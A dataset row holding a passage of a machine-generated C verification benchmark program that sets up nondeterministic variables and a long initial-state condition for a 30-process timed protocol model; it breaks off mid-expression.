file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/140586.c
extern float __VERIFIER_nondet_float(void); extern int __VERIFIER_nondet_int(void); typedef enum {false, true} bool; bool __VERIFIER_nondet_bool(void) { return __VERIFIER_nondet_int() != 0; } int main() { float _diverge_delta, _x__diverge_delta; float delta, _x_delta; bool p6_l0, _x_p6_l0; float max_prop, _x_max_prop; float proposed29, _x_proposed29; bool p6_l1, _x_p6_l1; float proposed28, _x_proposed28; float p6_x, _x_p6_x; float proposed27, _x_proposed27; bool p26_l0, _x_p26_l0; float proposed26, _x_proposed26; bool p26_l1, _x_p26_l1; float proposed25, _x_proposed25; float p6_saved_max, _x_p6_saved_max; float p26_x, _x_p26_x; float proposed24, _x_proposed24; float proposed23, _x_proposed23; float proposed22, _x_proposed22; float p26_saved_max, _x_p26_saved_max; float proposed21, _x_proposed21; float proposed20, _x_proposed20; float proposed19, _x_proposed19; float proposed18, _x_proposed18; float proposed17, _x_proposed17; bool p7_l0, _x_p7_l0; float proposed16, _x_proposed16; bool p7_l1, _x_p7_l1; float proposed15, _x_proposed15; float p7_x, _x_p7_x; float proposed14, _x_proposed14; bool p27_l0, _x_p27_l0; float proposed13, _x_proposed13; bool p27_l1, _x_p27_l1; float proposed12, _x_proposed12; float p7_saved_max, _x_p7_saved_max; float p27_x, _x_p27_x; float proposed11, _x_proposed11; float proposed10, _x_proposed10; float proposed9, _x_proposed9; float p27_saved_max, _x_p27_saved_max; float proposed8, _x_proposed8; float proposed7, _x_proposed7; float proposed6, _x_proposed6; float proposed5, _x_proposed5; bool p8_l0, _x_p8_l0; float proposed4, _x_proposed4; bool p8_l1, _x_p8_l1; float proposed3, _x_proposed3; float proposed2, _x_proposed2; float p8_x, _x_p8_x; float proposed1, _x_proposed1; bool p28_l0, _x_p28_l0; float proposed0, _x_proposed0; bool p28_l1, _x_p28_l1; float p8_saved_max, _x_p8_saved_max; float p28_x, _x_p28_x; float p28_saved_max, _x_p28_saved_max; bool p9_l0, _x_p9_l0; bool p9_l1, _x_p9_l1; float p9_x, _x_p9_x; bool p29_l0, _x_p29_l0; bool p29_l1, _x_p29_l1; float p9_saved_max, _x_p9_saved_max; float p29_x, _x_p29_x; float p29_saved_max, _x_p29_saved_max; bool p10_l0, _x_p10_l0; bool p10_l1, _x_p10_l1; float p10_x, _x_p10_x; bool _J3933, _x__J3933; float p10_saved_max, _x_p10_saved_max; bool _J3927, _x__J3927; bool _J3921, _x__J3921; bool _J3915, _x__J3915; bool _EL_U_3888, _x__EL_U_3888; bool inc_max_prop, _x_inc_max_prop; bool id1, _x_id1; bool id0, _x_id0; bool _EL_U_3890, _x__EL_U_3890; bool _EL_U_3893, _x__EL_U_3893; bool p11_l0, _x_p11_l0; bool id2, _x_id2; bool p11_l1, _x_p11_l1; bool id3, _x_id3; bool _EL_U_3895, _x__EL_U_3895; float p11_x, _x_p11_x; bool id4, _x_id4; float p11_saved_max, _x_p11_saved_max; bool turn1, _x_turn1; bool turn0, _x_turn0; bool turn2, _x_turn2; bool turn3, _x_turn3; bool turn4, _x_turn4; bool p12_l0, _x_p12_l0; bool p12_l1, _x_p12_l1; float p12_x, _x_p12_x; float p12_saved_max, _x_p12_saved_max; bool p13_l0, _x_p13_l0; bool p13_l1, _x_p13_l1; float p13_x, _x_p13_x; float p13_saved_max, _x_p13_saved_max; bool p14_l0, _x_p14_l0; bool p14_l1, _x_p14_l1; float p14_x, _x_p14_x; float p14_saved_max, _x_p14_saved_max; bool p15_l0, _x_p15_l0; bool p15_l1, _x_p15_l1; float p15_x, _x_p15_x; float p15_saved_max, _x_p15_saved_max; bool p16_l0, _x_p16_l0; bool p16_l1, _x_p16_l1; float p16_x, _x_p16_x; float p16_saved_max, _x_p16_saved_max; bool p17_l0, _x_p17_l0; bool p17_l1, _x_p17_l1; float p17_x, _x_p17_x; float p17_saved_max, _x_p17_saved_max; bool p18_l0, _x_p18_l0; bool p18_l1, _x_p18_l1; float p18_x, _x_p18_x; float p18_saved_max, _x_p18_saved_max; bool p19_l0, _x_p19_l0; bool p19_l1, _x_p19_l1; float p19_x, _x_p19_x; float p19_saved_max, _x_p19_saved_max; bool p0_l0, _x_p0_l0; bool p0_l1, _x_p0_l1; float p0_x, _x_p0_x; bool p20_l0, _x_p20_l0; bool p20_l1, _x_p20_l1; float p0_saved_max, _x_p0_saved_max; float p20_x, _x_p20_x; float p20_saved_max, _x_p20_saved_max; bool p1_l0, _x_p1_l0; bool p1_l1, _x_p1_l1; float p1_x, _x_p1_x; bool p21_l0, _x_p21_l0; bool p21_l1, _x_p21_l1; float p1_saved_max, _x_p1_saved_max; float p21_x, _x_p21_x; float p21_saved_max, _x_p21_saved_max; bool p2_l0, _x_p2_l0; bool p2_l1, _x_p2_l1; float p2_x, _x_p2_x; bool p22_l0, _x_p22_l0; bool p22_l1, _x_p22_l1; float p2_saved_max, _x_p2_saved_max; float p22_x, _x_p22_x; float p22_saved_max, _x_p22_saved_max; bool p3_l0, _x_p3_l0; bool p3_l1, _x_p3_l1; float p3_x, _x_p3_x; bool p23_l0, _x_p23_l0; bool p23_l1, _x_p23_l1; float p3_saved_max, _x_p3_saved_max; float p23_x, _x_p23_x; float p23_saved_max, _x_p23_saved_max; bool p4_l0, _x_p4_l0; bool p4_l1, _x_p4_l1; float p4_x, _x_p4_x; bool p24_l0, _x_p24_l0; bool p24_l1, _x_p24_l1; float p4_saved_max, _x_p4_saved_max; float p24_x, _x_p24_x; float p24_saved_max, _x_p24_saved_max; bool p5_l0, _x_p5_l0; bool p5_l1, _x_p5_l1; float p5_x, _x_p5_x; bool p25_l0, _x_p25_l0; bool p25_l1, _x_p25_l1; float p5_saved_max, _x_p5_saved_max; float p25_x, _x_p25_x; float p25_saved_max, _x_p25_saved_max; int __steps_to_fair = __VERIFIER_nondet_int(); _diverge_delta = __VERIFIER_nondet_float(); delta = __VERIFIER_nondet_float(); p6_l0 = __VERIFIER_nondet_bool(); max_prop = __VERIFIER_nondet_float(); proposed29 = __VERIFIER_nondet_float(); p6_l1 = __VERIFIER_nondet_bool(); proposed28 = __VERIFIER_nondet_float(); p6_x = __VERIFIER_nondet_float(); proposed27 = __VERIFIER_nondet_float(); p26_l0 = __VERIFIER_nondet_bool(); proposed26 = __VERIFIER_nondet_float(); p26_l1 = __VERIFIER_nondet_bool(); proposed25 = __VERIFIER_nondet_float(); p6_saved_max = __VERIFIER_nondet_float(); p26_x = __VERIFIER_nondet_float(); proposed24 = __VERIFIER_nondet_float(); proposed23 = __VERIFIER_nondet_float(); proposed22 = __VERIFIER_nondet_float(); p26_saved_max = __VERIFIER_nondet_float(); proposed21 = __VERIFIER_nondet_float(); proposed20 = __VERIFIER_nondet_float(); proposed19 = __VERIFIER_nondet_float(); proposed18 = __VERIFIER_nondet_float(); proposed17 = __VERIFIER_nondet_float(); p7_l0 = __VERIFIER_nondet_bool(); proposed16 = __VERIFIER_nondet_float(); p7_l1 = __VERIFIER_nondet_bool(); proposed15 = __VERIFIER_nondet_float(); p7_x = __VERIFIER_nondet_float(); proposed14 = __VERIFIER_nondet_float(); p27_l0 = __VERIFIER_nondet_bool(); proposed13 = __VERIFIER_nondet_float(); p27_l1 = __VERIFIER_nondet_bool(); proposed12 = __VERIFIER_nondet_float(); p7_saved_max = __VERIFIER_nondet_float(); p27_x = __VERIFIER_nondet_float(); proposed11 = __VERIFIER_nondet_float(); proposed10 = __VERIFIER_nondet_float(); proposed9 = __VERIFIER_nondet_float(); p27_saved_max = __VERIFIER_nondet_float(); proposed8 = __VERIFIER_nondet_float(); proposed7 = __VERIFIER_nondet_float(); proposed6 = __VERIFIER_nondet_float(); proposed5 = __VERIFIER_nondet_float(); p8_l0 = __VERIFIER_nondet_bool(); proposed4 = __VERIFIER_nondet_float(); p8_l1 = __VERIFIER_nondet_bool(); proposed3 = __VERIFIER_nondet_float(); proposed2 = __VERIFIER_nondet_float(); p8_x = __VERIFIER_nondet_float(); proposed1 = __VERIFIER_nondet_float(); p28_l0 = __VERIFIER_nondet_bool(); proposed0 = __VERIFIER_nondet_float(); p28_l1 = __VERIFIER_nondet_bool(); p8_saved_max = __VERIFIER_nondet_float(); p28_x = __VERIFIER_nondet_float(); p28_saved_max = __VERIFIER_nondet_float(); p9_l0 = __VERIFIER_nondet_bool(); p9_l1 = __VERIFIER_nondet_bool(); p9_x = __VERIFIER_nondet_float(); p29_l0 = __VERIFIER_nondet_bool(); p29_l1 = __VERIFIER_nondet_bool(); p9_saved_max = __VERIFIER_nondet_float(); p29_x = __VERIFIER_nondet_float(); p29_saved_max = __VERIFIER_nondet_float(); p10_l0 = __VERIFIER_nondet_bool(); p10_l1 = __VERIFIER_nondet_bool(); p10_x = __VERIFIER_nondet_float(); _J3933 = __VERIFIER_nondet_bool(); p10_saved_max = __VERIFIER_nondet_float(); _J3927 = __VERIFIER_nondet_bool(); _J3921 = __VERIFIER_nondet_bool(); _J3915 = __VERIFIER_nondet_bool(); _EL_U_3888 = __VERIFIER_nondet_bool(); inc_max_prop = __VERIFIER_nondet_bool(); id1 = __VERIFIER_nondet_bool(); id0 = __VERIFIER_nondet_bool(); _EL_U_3890 = __VERIFIER_nondet_bool(); _EL_U_3893 = __VERIFIER_nondet_bool(); p11_l0 = __VERIFIER_nondet_bool(); id2 = __VERIFIER_nondet_bool(); p11_l1 = __VERIFIER_nondet_bool(); id3 = __VERIFIER_nondet_bool(); _EL_U_3895 = __VERIFIER_nondet_bool(); p11_x = __VERIFIER_nondet_float(); id4 = __VERIFIER_nondet_bool(); p11_saved_max = __VERIFIER_nondet_float(); turn1 = __VERIFIER_nondet_bool(); turn0 = __VERIFIER_nondet_bool(); turn2 = __VERIFIER_nondet_bool(); turn3 = __VERIFIER_nondet_bool(); turn4 = __VERIFIER_nondet_bool(); p12_l0 = __VERIFIER_nondet_bool(); p12_l1 = __VERIFIER_nondet_bool(); p12_x = __VERIFIER_nondet_float(); p12_saved_max = __VERIFIER_nondet_float(); p13_l0 = __VERIFIER_nondet_bool(); p13_l1 = __VERIFIER_nondet_bool(); p13_x = __VERIFIER_nondet_float(); p13_saved_max = __VERIFIER_nondet_float(); p14_l0 = __VERIFIER_nondet_bool(); p14_l1 = __VERIFIER_nondet_bool(); p14_x = __VERIFIER_nondet_float(); p14_saved_max = __VERIFIER_nondet_float(); p15_l0 = __VERIFIER_nondet_bool(); p15_l1 = __VERIFIER_nondet_bool(); p15_x = __VERIFIER_nondet_float(); p15_saved_max = __VERIFIER_nondet_float(); p16_l0 = __VERIFIER_nondet_bool(); p16_l1 = __VERIFIER_nondet_bool(); p16_x = __VERIFIER_nondet_float(); p16_saved_max = __VERIFIER_nondet_float(); p17_l0 = __VERIFIER_nondet_bool(); p17_l1 = __VERIFIER_nondet_bool(); p17_x = __VERIFIER_nondet_float(); p17_saved_max = __VERIFIER_nondet_float(); p18_l0 = __VERIFIER_nondet_bool(); p18_l1 = __VERIFIER_nondet_bool(); p18_x = __VERIFIER_nondet_float(); p18_saved_max = __VERIFIER_nondet_float(); p19_l0 = __VERIFIER_nondet_bool(); p19_l1 = __VERIFIER_nondet_bool(); p19_x = __VERIFIER_nondet_float(); p19_saved_max = __VERIFIER_nondet_float(); p0_l0 = __VERIFIER_nondet_bool(); p0_l1 = __VERIFIER_nondet_bool(); p0_x = __VERIFIER_nondet_float(); p20_l0 = __VERIFIER_nondet_bool(); p20_l1 = __VERIFIER_nondet_bool(); p0_saved_max = __VERIFIER_nondet_float(); p20_x = __VERIFIER_nondet_float(); p20_saved_max = __VERIFIER_nondet_float(); p1_l0 = __VERIFIER_nondet_bool(); p1_l1 = __VERIFIER_nondet_bool(); p1_x = __VERIFIER_nondet_float(); p21_l0 = __VERIFIER_nondet_bool(); p21_l1 = __VERIFIER_nondet_bool(); p1_saved_max = __VERIFIER_nondet_float(); p21_x = __VERIFIER_nondet_float(); p21_saved_max = __VERIFIER_nondet_float(); p2_l0 = __VERIFIER_nondet_bool(); p2_l1 = __VERIFIER_nondet_bool(); p2_x = __VERIFIER_nondet_float(); p22_l0 = __VERIFIER_nondet_bool(); p22_l1 = __VERIFIER_nondet_bool(); p2_saved_max = __VERIFIER_nondet_float(); p22_x = __VERIFIER_nondet_float(); p22_saved_max = __VERIFIER_nondet_float(); p3_l0 = __VERIFIER_nondet_bool(); p3_l1 = __VERIFIER_nondet_bool(); p3_x = __VERIFIER_nondet_float(); p23_l0 = __VERIFIER_nondet_bool(); p23_l1 = __VERIFIER_nondet_bool(); p3_saved_max = __VERIFIER_nondet_float(); p23_x = __VERIFIER_nondet_float(); p23_saved_max = __VERIFIER_nondet_float(); p4_l0 = __VERIFIER_nondet_bool(); p4_l1 = __VERIFIER_nondet_bool(); p4_x = __VERIFIER_nondet_float(); p24_l0 = __VERIFIER_nondet_bool(); p24_l1 = __VERIFIER_nondet_bool(); p4_saved_max = __VERIFIER_nondet_float(); p24_x = __VERIFIER_nondet_float(); p24_saved_max = __VERIFIER_nondet_float(); p5_l0 = __VERIFIER_nondet_bool(); p5_l1 = __VERIFIER_nondet_bool(); p5_x = __VERIFIER_nondet_float(); p25_l0 = __VERIFIER_nondet_bool(); p25_l1 = __VERIFIER_nondet_bool(); p5_saved_max = __VERIFIER_nondet_float(); p25_x = __VERIFIER_nondet_float(); p25_saved_max = __VERIFIER_nondet_float(); bool __ok = ((((((((( !p29_l0) && ( !p29_l1)) && (((( !p29_l0) && ( !p29_l1)) || (p29_l0 && ( !p29_l1))) || ((p29_l1 && ( !p29_l0)) || (p29_l0 && p29_l1)))) && ((p29_x == 0.0) && (max_prop == p29_saved_max))) && ( !(proposed29 <= 0.0))) && ((p29_x <= proposed29) || ( !(p29_l1 && ( !p29_l0))))) && ((((((( !p28_l0) && ( !p28_l1)) && (((( !p28_l0) && ( !p28_l1)) || (p28_l0 && ( !p28_l1))) || ((p28_l1 && ( !p28_l0)) || (p28_l0 && p28_l1)))) && ((p28_x == 0.0) && (max_prop == p28_saved_max))) && ( !(proposed28 <= 0.0))) && ((p28_x <= proposed28) || ( !(p28_l1 && ( !p28_l0))))) && ((((((( !p27_l0) && ( !p27_l1)) && (((( !p27_l0) && ( !p27_l1)) || (p27_l0 && ( !p27_l1))) || ((p27_l1 && ( !p27_l0)) || (p27_l0 && p27_l1)))) && ((p27_x == 0.0) && (max_prop == p27_saved_max))) && ( !(proposed27 <= 0.0))) && ((p27_x <= proposed27) || ( !(p27_l1 && ( !p27_l0))))) && ((((((( !p26_l0) && ( !p26_l1)) && (((( !p26_l0) && ( !p26_l1)) || (p26_l0 && ( !p26_l1))) || ((p26_l1 && ( !p26_l0)) || (p26_l0 && p26_l1)))) && ((p26_x == 0.0) && (max_prop == p26_saved_max))) && ( !(proposed26 <= 0.0))) && ((p26_x <= proposed26) || ( !(p26_l1 && ( !p26_l0))))) && ((((((( !p25_l0) && ( !p25_l1)) && (((( !p25_l0) && ( !p25_l1)) || (p25_l0 && ( !p25_l1))) || ((p25_l1 && ( !p25_l0)) || (p25_l0 && p25_l1)))) && ((p25_x == 0.0) && (max_prop == p25_saved_max))) && ( !(proposed25 <= 0.0))) && ((p25_x <= proposed25) || ( !(p25_l1 && ( !p25_l0))))) && ((((((( !p24_l0) && ( !p24_l1)) && (((( !p24_l0) && ( !p24_l1)) || (p24_l0 && ( !p24_l1))) || ((p24_l1 && ( !p24_l0)) || (p24_l0 && p24_l1)))) && ((p24_x == 0.0) && (max_prop == p24_saved_max))) && ( !(proposed24 <= 0.0))) && ((p24_x <= proposed24) || ( !(p24_l1 && ( !p24_l0))))) && ((((((( !p23_l0) && ( !p23_l1)) && (((( !p23_l0) && ( !p23_l1)) || (p23_l0 && ( !p23_l1))) || ((p23_l1 && ( !p23_l0)) || (p23_l0 && p23_l1)))) && ((p23_x == 0.0) && (max_prop == p23_saved_max))) && ( !(proposed23 <= 0.0))) && ((p23_x <= proposed23) || ( !(p23_l1 && ( !p23_l0))))) && ((((((( !p22_l0) && ( !p22_l1)) && (((( !p22_l0) && ( !p22_l1)) || (p22_l0 && ( !p22_l1))) || ((p22_l1 && ( !p22_l0)) || (p22_l0 && p22_l1)))) && ((p22_x == 0.0) && (max_prop == p22_saved_max))) && ( !(proposed22 <= 0.0))) && ((p22_x <= proposed22) || ( !(p22_l1 && ( !p22_l0))))) && ((((((( !p21_l0) && ( !p21_l1)) && (((( !p21_l0) && ( !p21_l1)) || (p21_l0 && ( !p21_l1))) || ((p21_l1 && ( !p21_l0)) || (p21_l0 && p21_l1)))) && ((p21_x == 0.0) && (max_prop == p21_saved_max))) && ( !(proposed21 <= 0.0))) && ((p21_x <= proposed21) || ( !(p21_l1 && ( !p21_l0))))) && ((((((( !p20_l0) && ( !p20_l1)) && (((( !p20_l0) && ( !p20_l1)) || (p20_l0 && ( !p20_l1))) || ((p20_l1 && ( !p20_l0)) || (p20_l0 && p20_l1)))) && ((p20_x == 0.0) && (max_prop == p20_saved_max))) && ( !(proposed20 <= 0.0))) && ((p20_x <= proposed20) || ( !(p20_l1 && ( !p20_l0))))) && ((((((( !p19_l0) && ( !p19_l1)) && (((( !p19_l0) && ( !p19_l1)) || (p19_l0 && ( !p19_l1))) || ((p19_l1 && ( !p19_l0)) || (p19_l0 && p19_l1)))) && ((p19_x == 0.0) && (max_prop == p19_saved_max))) && ( !(proposed19 <= 0.0))) && ((p19_x <= proposed19) || ( !(p19_l1 && ( !p19_l0))))) && ((((((( !p18_l0) && ( !p18_l1)) && (((( !p18_l0) && ( !p18_l1)) || (p18_l0 && ( !p18_l1))) || ((p18_l1 && ( !p18_l0)) || (p18_l0 && p18_l1)))) && ((p18_x == 0.0) && (max_prop == p18_saved_max))) && ( !(proposed18 <= 0.0))) && ((p18_x <= proposed18) || ( !(p18_l1 && ( !p18_l0))))) && ((((((( !p17_l0) && ( !p17_l1)) && (((( !p17_l0) && ( !p17_l1)) || (p17_l0 && ( !p17_l1))) || ((p17_l1 && ( !p17_l0)) || (p17_l0 && p17_l1)))) && ((p17_x == 0.0) && (max_prop == p17_saved_max))) && ( !(proposed17 <= 0.0))) && ((p17_x <= proposed17) || ( !(p17_l1 && ( !p17_l0))))) && ((((((( !p16_l0) && ( !p16_l1)) && (((( !p16_l0) && ( !p16_l1)) || (p16_l0 && ( !p16_l1))) || ((p16_l1 && ( !p16_l0)) || (p16_l0 && p16_l1)))) && ((p16_x == 0.0) && (max_prop == p16_saved_max))) && ( !(proposed16 <= 0.0))) && ((p16_x <= proposed16) || ( !(p16_l1 && ( !p16_l0))))) && ((((((( !p15_l0) && ( !p15_l1)) && (((( !p15_l0) && ( !p15_l1)) || (p15_l0 && ( !p15_l1))) || ((p15_l1 && ( !p15_l0)) || (p15_l0 && p15_l1)))) && ((p15_x == 0.0) && (max_prop == p15_saved_max))) && ( !(proposed15 <= 0.0))) && ((p15_x <= proposed15) || ( !(p15_l1 && ( !p15_l0))))) && ((((((( !p14_l0) && ( !p14_l1)) && (((( !p14_l0) && ( !p14_l1)) || (p14_l0 && ( !p14_l1))) || ((p14_l1 && ( !p14_l0)) || (p14_l0 && p14_l1)))) && ((p14_x == 0.0) && (max_prop == p14_saved_max))) && ( !(proposed14 <= 0.0))) && ((p14_x <= proposed14) || ( !(p14_l1 && ( !p14_l0))))) && ((((((( !p13_l0) && ( !p13_l1)) && (((( !p13_l0) && ( !p13_l1)) || (p13_l0 && ( !p13_l1))) || ((p13_l1 && ( !p13_l0)) || (p13_l0 && p13_l1)))) && ((p13_x == 0.0) && (max_prop == p13_saved_max))) && ( !(proposed13 <= 0.0))) && ((p13_x <= proposed13) || ( !(p13_l1 && ( !p13_l0))))) && ((((((( !p12_l0) && ( !p12_l1)) && (((( !p12_l0) && ( !p12_l1)) || (p12_l0 && ( !p12_l1))) || ((p12_l1 && ( !p12_l0)) || (p12_l0 && p12_l1)))) && ((p12_x == 0.0) && (max_prop == p12_saved_max))) && ( !(proposed12 <= 0.0))) && ((p12_x <= proposed12) || ( !(p12_l1 && ( !p12_l0))))) && ((((((( !p11_l0) && ( !p11_l1)) && (((( !p11_l0) && ( !p11_l1)) || (p11_l0 && ( !p11_l1))) || ((p11_l1 && ( !p11_l0)) || (p11_l0 && p11_l1)))) && ((p11_x == 0.0) && (max_prop == p11_saved_max))) && ( !(proposed11 <= 0.0))) && ((p11_x <= proposed11) || ( !(p11_l1 && ( !p11_l0))))) && ((((((( !p10_l0) && ( !p10_l1)) && (((( !p10_l0) && ( !p10_l1)) || (p10_l0 && ( !p10_l1))) || ((p10_l1 && ( !p10_l0)) || (p10_l0 && p10_l1)))) && ((p10_x == 0.0) && (max_prop == p10_saved_max))) && ( !(proposed10 <= 0.0))) && ((p10_x <= proposed10) || ( !(p10_l1 && ( !p10_l0))))) && ((((((( !p9_l0) && ( !p9_l1)) && (((( !p9_l0) && ( !p9_l1)) || (p9_l0 && ( !p9_l1))) || ((p9_l1 && ( !p9_l0)) || (p9_l0 && p9_l1)))) && ((p9_x == 0.0) && (max_prop == p9_saved_max))) && ( !(proposed9 <= 0.0))) && ((p9_x <= proposed9) || ( !(p9_l1 && ( !p9_l0))))) && ((((((( !p8_l0) && ( !p8_l1)) && (((( !p8_l0) && ( !p8_l1)) || (p8_l0 && ( !p8_l1))) || ((p8_l1 && ( !p8_l0)) || (p8_l0 && p8_l1)))) && ((p8_x == 0.0) && (max_prop == p8_saved_max))) && ( !(proposed8 <= 0.0))) && ((p8_x <= proposed8) || ( !(p8_l1 && ( !p8_l0))))) && ((((((( !p7_l0) && ( !p7_l1)) && (((( !p7_l0) && ( !p7_l1)) || (p7_l0 && ( !p7_l1))) || ((p7_l1 && ( !p7_l0)) || (p7_l0 && p7_l1)))) && ((p7_x == 0.0) && (max_prop == p7_saved_max))) && ( !(proposed7 <= 0.0))) && ((p7_x <= proposed7) || ( !(p7_l1 && ( !p7_l0))))) && ((((((( !p6_l0) && ( !p6_l1)) && (((( !p6_l0) && ( !p6_l1)) || (p6_l0 && ( !p6_l1))) || ((p6_l1 && ( !p6_l0)) || (p6_l0 && p6_l1)))) && ((p6_x == 0.0) && (max_prop == p6_saved_max))) && ( !(proposed6 <= 0.0))) && ((p6_x <= proposed6) || ( !(p6_l1 && ( !p6_l0))))) && ((((((( !p5_l0) && ( !p5_l1)) && (((( !p5_l0) && ( !p5_l1)) || (p5_l0 && ( !p5_l1))) || ((p5_l1 && ( !p5_l0)) || (p5_l0 && p5_l1)))) && ((p5_x == 0.0) && (max_prop == p5_saved_max))) && ( !(proposed5 <= 0.0))) && ((p5_x <= proposed5) || ( !(p5_l1 && ( !p5_l0))))) && ((((((( !p4_l0) && ( !p4_l1)) && (((( !p4_l0) && ( !p4_l1)) || (p4_l0 && ( !p4_l1))) || ((p4_l1 && ( !p4_l0)) || (p4_l0 && p4_l1)))) && ((p4_x == 0.0) && (max_prop == p4_saved_max))) && ( !(proposed4 <= 0.0))) && ((p4_x <= proposed4) || ( !(p4_l1 && ( !p4_l0))))) && ((((((( !p3_l0) && ( !p3_l1)) && (((( !p3_l0) && ( !p3_l1)) || (p3_l0 && ( !p3_l1))) || ((p3_l1 && ( !p3_l0)) || (p3_l0 && p3_l1)))) && ((p3_x == 0.0) && (max_prop == p3_saved_max))) && ( !(proposed3 <= 0.0))) && ((p3_x <= proposed3) || ( !(p3_l1 && ( !p3_l0))))) && ((((((( !p2_l0) && ( !p2_l1)) && (((( !p2_l0) && ( !p2_l1)) || (p2_l0 && ( !p2_l1))) || ((p2_l1 && ( !p2_l0)) || (p2_l0 && p2_l1)))) && ((p2_x == 0.0) && (max_prop == p2_saved_max))) && ( !(proposed2 <= 0.0))) && ((p2_x <= proposed2) || ( !(p2_l1 && ( !p2_l0))))) && ((((((( !p1_l0) && ( !p1_l1)) && (((( !p1_l0) && ( !p1_l1)) || (p1_l0 && ( !p1_l1))) || ((p1_l1 && ( !p1_l0)) || (p1_l0 && p1_l1)))) && ((p1_x == 0.0) && (max_prop == p1_saved_max))) && ( !(proposed1 <= 0.0))) && ((p1_x <= proposed1) || ( !(p1_l1 && ( !p1_l0))))) && ((((((( !p0_l0) && ( !p0_l1)) && (((( !p0_l0) && ( !p0_l1)) || (p0_l0 && ( !p0_l1))) || ((p0_l1 && ( !p0_l0)) || (p0_l0 && p0_l1)))) && ((p0_x == 0.0) && (max_prop == p0_saved_max))) && ( !(proposed0 <= 0.0))) && ((p0_x <= proposed0) || ( !(p0_l1 && ( !p0_l0))))) && ((((((((((((((((((((((((((((((((((((id4 && (id3 && (id2 && (id1 && ( !id0))))) || ((id4 && (id3 && (id2 && (id0 && ( !id1))))) || ((id4 && (id3 && (id2 && (( !id0) && ( !id1))))) || ((id4 && (id3 && (( !id2) && (id0 && id1)))) || ((id4 && (id3 && (( !id2) && (id1 && ( !id0))))) || ((id4 && (id3 && (( !id2) && (id0 && ( !id1))))) || ((id4 && (id3 && (( !id2) && (( !id0) && ( !id1))))) || ((id4 && (( !id3) && (id2 && (id0 && id1)))) || ((id4 && (( !id3) && (id2 && (id1 && ( !id0))))) || ((id4 && (( !id3) && (id2 && (id0 && ( !id1))))) || ((id4 && (( !id3) && (id2 && (( !id0) && ( !id1))))) || ((id4 && (( !id3) && (( !id2) && (id0 && id1)))) || ((id4 && (( !id3) && (( !id2) && (id1 && ( !id0))))) || ((id4 && (( !id3) && (( !id2) && (id0 && ( !id1))))) || ((id4 && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) || ((( !id4) && (id3 && (id2 && (id0 && id1)))) || ((( !id4) && (id3 && (id2 && (id1 && ( !id0))))) || ((( !id4) && (id3 && (id2 && (id0 && ( !id1))))) || ((( !id4) && (id3 && (id2 && (( !id0) && ( !id1))))) || ((( !id4) && (id3 && (( !id2) && (id0 && id1)))) || ((( !id4) && (id3 && (( !id2) && (id1 && ( !id0))))) || ((( !id4) && (id3 && (( !id2) && (id0 && ( !id1))))) || ((( !id4) && (id3 && (( !id2) && (( !id0) && ( !id1))))) || ((( !id4) && (( !id3) && (id2 && (id0 && id1)))) || ((( !id4) && (( !id3) && (id2 && (id1 && ( !id0))))) || ((( !id4) && (( !id3) && (id2 && (id0 && ( !id1))))) || ((( !id4) && (( !id3) && (id2 && (( !id0) && ( !id1))))) || ((( !id4) && (( !id3) && (( !id2) && (id0 && id1)))) || ((( !id4) && (( !id3) && (( !id2) && (id1 && ( !id0))))) || ((( !id4) && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) || (( !id4) && (( !id3) && (( !id2) && (id0 && ( !id1))))))))))))))))))))))))))))))))))) && ((turn4 && (turn3 && (turn2 && (turn0 && ( !turn1))))) || ((turn4 && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) || ((turn4 && (turn3 && (( !turn2) && (turn0 && turn1)))) || ((turn4 && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) || ((turn4 && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) || ((turn4 && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) || ((turn4 && (( !turn3) && (turn2 && (turn0 && turn1)))) || ((turn4 && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) || ((turn4 && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) || ((turn4 && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) || ((turn4 && (( !turn3) && (( !turn2) && (turn0 && turn1)))) || ((turn4 && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) || ((turn4 && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) || ((turn4 && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) || ((( !turn4) && (turn3 && (turn2 && (turn0 && turn1)))) || ((( !turn4) && (turn3 && (turn2 && (turn1 && ( !turn0))))) || ((( !turn4) && (turn3 && (turn2 && (turn0 && ( !turn1))))) || ((( !turn4) && (turn3 && (turn2 && (( !turn0) && ( !turn1))))) || ((( !turn4) && (turn3 && (( !turn2) && (turn0 && turn1)))) || ((( !turn4) && (turn3 && (( !turn2) && (turn1 && ( !turn0))))) || ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) || ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) || ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) || ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) || ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) || ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) || ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) || ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) || ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) || (( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))))))))))))))))))))))))))))))))) && ((( !id4) && (( !id3) && (( !id2) && (( !id0) && ( !id1))))) && inc_max_prop)) && (0.0 <= delta)) && (proposed0 <= max_prop)) && (proposed1 <= max_prop)) && (proposed2 <= max_prop)) && (proposed3 <= max_prop)) && (proposed4 <= max_prop)) && (proposed5 <= max_prop)) && (proposed6 <= max_prop)) && (proposed7 <= max_prop)) && (proposed8 <= max_prop)) && (proposed9 <= max_prop)) && (proposed10 <= max_prop)) && (proposed11 <= max_prop)) && (proposed12 <= max_prop)) && (proposed13 <= max_prop)) && (proposed14 <= max_prop)) && (proposed15 <= max_prop)) && (proposed16 <= max_prop)) && (proposed17 <= max_prop)) && (proposed18 <= max_prop)) && (proposed19 <= max_prop)) && (proposed20 <= max_prop)) && (proposed21 <= max_prop)) && (proposed22 <= max_prop)) && (proposed23 <= max_prop)) && (proposed24 <= max_prop)) && (proposed25 <= max_prop)) && (proposed26 <= max_prop)) && (proposed27 <= 